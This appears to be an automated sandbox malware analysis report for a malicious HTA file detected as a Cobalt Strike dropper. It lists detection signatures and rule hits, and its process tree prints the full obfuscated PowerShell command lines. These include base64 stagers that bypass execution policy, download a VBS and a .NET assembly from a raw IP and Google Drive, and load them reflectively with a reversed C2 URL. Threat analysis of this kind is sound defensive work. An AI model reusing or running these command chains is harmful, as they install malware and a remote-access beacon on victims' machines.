Edit tour
Windows
Analysis Report
seethebestthingsevermeetwithgreatthingstobegood.hta
Overview
General Information
| Sample name: | seethebestthingsevermeetwithgreatthingstobegood.hta |
| Analysis ID: | 1541930 |
| MD5: | 964a54d784f1cbef1effaa3ab917fcbc |
| SHA1: | 6d9d2657d1a8277a3427e0819e8260a2ac341e93 |
| SHA256: | 862ce1b2cdc84bf1a2833d131159fb2b890e9bdb60bcbc689a5acd9441b441d5 |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
Cobalt Strike
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 5612 cmdline: mshta.exe "C:\Users\ user\Deskt op\seetheb estthingse vermeetwit hgreatthin gstobegood .hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
powershell.exe (PID: 2988 cmdline: "C:\Window s\SySTeM32 \winDowspO WErShell\v 1.0\PoweRS hELl.EXe" "powErshel l -ex ByPa sS -N oP -w 1 -c DEViCeCRE dentialDEp LoyMEnt ; IeX($(iex( '[SystEM.T Ext.EncoDI NG]'+[ChAr ]0x3A+[cha r]58+'UTf8 .gETSTrIng ([SystEm.c OnVeRT]'+[ CHar]0x3A+ [ChaR]58+' FROMBasE64 STRIng('+[ cHar]0X22+ 'JFpibFZsd VJ0ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgYUR kLVRZUGUgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U1lTUJFckR lRklOaVRpT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVSbE1vTi5 kbGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIExIayx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgb 2FseXlhR21 BWCxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgS0ksdWl udCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBpUkpqd VRGeUZsTSx JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAge UIpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 hbWUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIlhZI iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbkFNRVN QYWNFICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIHFPa GJRUSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CRaYmxWbHV SdDo6VVJMR G93bmxvYWR Ub0ZpbGUoM CwiaHR0cDo vLzE5Mi4zL jE3Ni4xNDE vNDIvbG9na XN0aWN0aGl uZ3N3aXRoZ 29vZHRoaW5 nc2dpdmVuY mVzdC50SUY iLCIkRU5WO kFQUERBVEF cb2dpc3RpY 3RoaW5nc3d pdGhnb29kd GhpbmdzZ2l 2ZW5iZXMud mJTIiwwLDA pO3N0QVJ0L XNsZWVwKDM pO3N0QVJ0I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZW52OkF QUERBVEFcb 2dpc3RpY3R oaW5nc3dpd Ghnb29kdGh pbmdzZ2l2Z W5iZXMudmJ TIg=='+[Ch ar]0x22+') )')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 3212 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2612 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -ex ByPasS -NoP -w 1 -c DEViCe CREdential DEpLoyMEnt MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
csc.exe (PID: 3544 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\c0m0n3e0 \c0m0n3e0. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 6008 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SC7DB.tmp" "c:\Users \user\AppD ata\Local\ Temp\c0m0n 3e0\CSC399 845D2C8884 0F7A4BEE62 F5A991150. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) 
wscript.exe (PID: 3648 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\ogist icthingswi thgoodthin gsgivenbes .vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 5732 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCdXaDdpbW FnZVVybCA9 IHJmSWh0dH BzOi8vZHJp dmUuZ28nKy dvZ2xlLmNv bS91Yz9leH BvcnQ9ZG93 bmxvYWQmaW Q9JysnMUFJ VmdKSkp2MU Y2dlM0c1VP eWJuSC1zRH ZVaEJZd3Vy IHJmSTtXaD d3ZWJDbGkn KydlbnQgPS BOZXctT2Jq ZWN0IFN5c3 RlbS5OZXQu V2ViQ2xpZW 50O1doN2lt YScrJ2dlQn l0ZXMgPSBX aCcrJzcnKy d3ZWJDbGll bnQuRG93bm xvYWREYXRh KFdoN2ltYW dlVXJsKTtX aDdpbScrJ2 FnZVRleHQg PSBbU3lzdG VtLlRleCcr J3QuRW4nKy djb2Rpbmdd OjpVVEY4Lk dldFN0Jysn cmluZyhXaC crJzdpbWFn ZUJ5dGVzKT tXaDdzdGFy JysndEZsYW cgPSByZkk8 PEJBU0U2NF 9TVEFSVD4+ cmZJO1doN2 VuZEZsYWcg PSByZkk8PE JBU0U2NCcr J19FTkQ+Pn JmSTtXaDdz dGFydEluZG V4ID0gV2g3 aW1hZ2VUZX h0LkluZGV4 T2YoV2g3c3 RhcnRGbGFn KTtXaDdlbm RJbicrJ2Rl eCA9IFdoN2 ltYScrJ2dl VGV4dC5Jbm RleE9mKFdo N2VuZEZsYS crJ2cpO1do N3N0YXJ0SW 5kZXggLWdl IDAgLWFuZC BXaDdlbmRJ bmRleCAtZ3 QgV2g3c3Rh cnRJbmQnKy dleDtXJysn aDdzdGFydE luZGV4ICs9 IFdoN3N0YX J0RmxhZy5M ZW5ndGg7V2 g3YmFzZTY0 TGVuZ3RoID 0gV2g3ZW5k SW5kZXggLS BXaDdzdGFy dEluZGV4O1 doN2Jhc2U2 NENvbW1hbm QgPSBXaDdp bWFnZVRleH QuU3Vic3Ry aW5nKFdoN3 N0YXJ0SW5k ZXgsIFdoN2 Jhc2U2NExl bmd0aCknKy c7V2g3YmEn KydzZTY0Ui crJ2V2ZXJz ZWQgPSAtam 9pbiAoV2g3 YmFzZTY0Q2 9tbWFuZC5U b0NoYXJBcn JheSgpIFJZ OSBGb3JFYW NoLU9iamVj dCB7IFdoNy crJ18gfSlb LTEuLi0oV2 g3YmFzZTY0 Q29tbWFuZC 5MZW5ndGgn KycpXTtXaD djJysnb21t YW5kQnl0ZX MgPSBbU3lz dCcrJ2VtLk NvbnZlcnRd OjpGcm9tQm FzZTY0U3Ry aW5nKFdoN2 JhJysnc2U2 NFJldmVyc2 VkKTtXaDds b2FkZWRBc3 NlbWJseSA9 IFtTeXN0ZW 0uUmVmbGVj dGlvbi5Bc3 NlbWJseV06 OkxvYWQoV2 g3Y29tbWFu JysnZEJ5dG VzJysnKTtX aDd2YWlNZX Rob2QgPSBb ZG5saWIuSU 8uSG9tZV0u R2V0TWV0aG 9kKHJmSVZB SXJmSSk7Jy snV2g3dmFp TWV0aG9kLk ludm9rZShX aDdudWwnKy dsLCBAKHJm SXR4dC5JS0 xHT0wvMjQv MTQxLjY3MS 4zLicrJzI5 MS8vOnB0dG hyZkknKycs IHJmSWRlc2 F0aXZhZG9y ZkksIHJmSW Rlc2F0aXZh ZG9yZkksIH JmSWRlc2F0 aXZhZG9yZk ksIHJmSWFz cG5ldF9yZW dicm93c2Vy c3JmSSwgcm ZJZGVzYXRp dmFkb3JmSS wgcmZJZGVz YXRpdmFkb3 JmSSxyZklk JysnZXNhdG l2YWRvJysn cmZJLHJmJy snSWRlc2F0 aXZhJysnZG 9yZkkscmZJ ZGVzYXRpdm Fkb3JmSSxy ZklkZXNhdG l2YWQnKydv cmZJLHJmSW Rlc2F0aXZh ZCcrJ29yZk kscmZJMXJm SSxyZklkZX NhdGl2YWRv cmZJKSk7Jy kuUkVQTEFj RSgoW0NIYX JdODcrW0NI YXJdMTA0K1 tDSGFyXTU1 KSwnJCcpLl JFUExBY0Uo J3JmSScsW3 N0cmluR11b Q0hhcl0zOS kuUkVQTEFj RSgoW0NIYX JdODIrW0NI YXJdODkrW0 NIYXJdNTcp LFtzdHJpbk ddW0NIYXJd MTI0KSB8Li AoICRWRXJC b1NFUHJlZk VyZU5DZS5U b3NUUmluZy gpWzEsM10r J1gnLWpvSW 4nJyk=';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 6556 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 4928 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "('Wh7 imageUrl = rfIhttps: //drive.go '+'ogle.co m/uc?expor t=download &id='+'1AI VgJJJv1F6v S4sUOybnH- sDvUhBYwur rfI;Wh7we bCli'+'ent = New-Obj ect System .Net.WebCl ient;Wh7im a'+'geByte s = Wh'+'7 '+'webClie nt.Downloa dData(Wh7i mageUrl);W h7im'+'age Text = [Sy stem.Tex'+ 't.En'+'co ding]::UTF 8.GetSt'+' ring(Wh'+' 7imageByte s);Wh7star '+'tFlag = rfI<<BASE 64_START>> rfI;Wh7end Flag = rfI <<BASE64'+ '_END>>rfI ;Wh7startI ndex = Wh7 imageText. IndexOf(Wh 7startFlag );Wh7endIn '+'dex = W h7ima'+'ge Text.Index Of(Wh7endF la'+'g);Wh 7startInde x -ge 0 -a nd Wh7endI ndex -gt W h7startInd '+'ex;W'+' h7startInd ex += Wh7s tartFlag.L ength;Wh7b ase64Lengt h = Wh7end Index - Wh 7startInde x;Wh7base6 4Command = Wh7imageT ext.Substr ing(Wh7sta rtIndex, W h7base64Le ngth)'+';W h7ba'+'se6 4R'+'evers ed = -join (Wh7base6 4Command.T oCharArray () RY9 For Each-Objec t { Wh7'+' _ })[-1..- (Wh7base64 Command.Le ngth'+')]; Wh7c'+'omm andBytes = [Syst'+'e m.Convert] ::FromBase 64String(W h7ba'+'se6 4Reversed) ;Wh7loaded Assembly = [System.R eflection. Assembly]: :Load(Wh7c omman'+'dB ytes'+');W h7vaiMetho d = [dnlib .IO.Home]. GetMethod( rfIVAIrfI) ;'+'Wh7vai Method.Inv oke(Wh7nul '+'l, @(rf Itxt.IKLGO L/24/141.6 71.3.'+'29 1//:ptthrf I'+', rfId esativador fI, rfIdes ativadorfI , rfIdesat ivadorfI, rfIaspnet_ regbrowser srfI, rfId esativador fI, rfIdes ativadorfI ,rfId'+'es ativado'+' rfI,rf'+'I desativa'+ 'dorfI,rfI desativado rfI,rfIdes ativad'+'o rfI,rfIdes ativad'+'o rfI,rfI1rf I,rfIdesat ivadorfI)) ;').REPLAc E(([CHar]8 7+[CHar]10 4+[CHar]55 ),'$').REP LAcE('rfI' ,[strinG][ CHar]39).R EPLAcE(([C Har]82+[CH ar]89+[CHa r]57),[str inG][CHar] 124) |. ( $VErBoSEPr efEreNCe.T osTRing()[ 1,3]+'X'-j oIn'')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||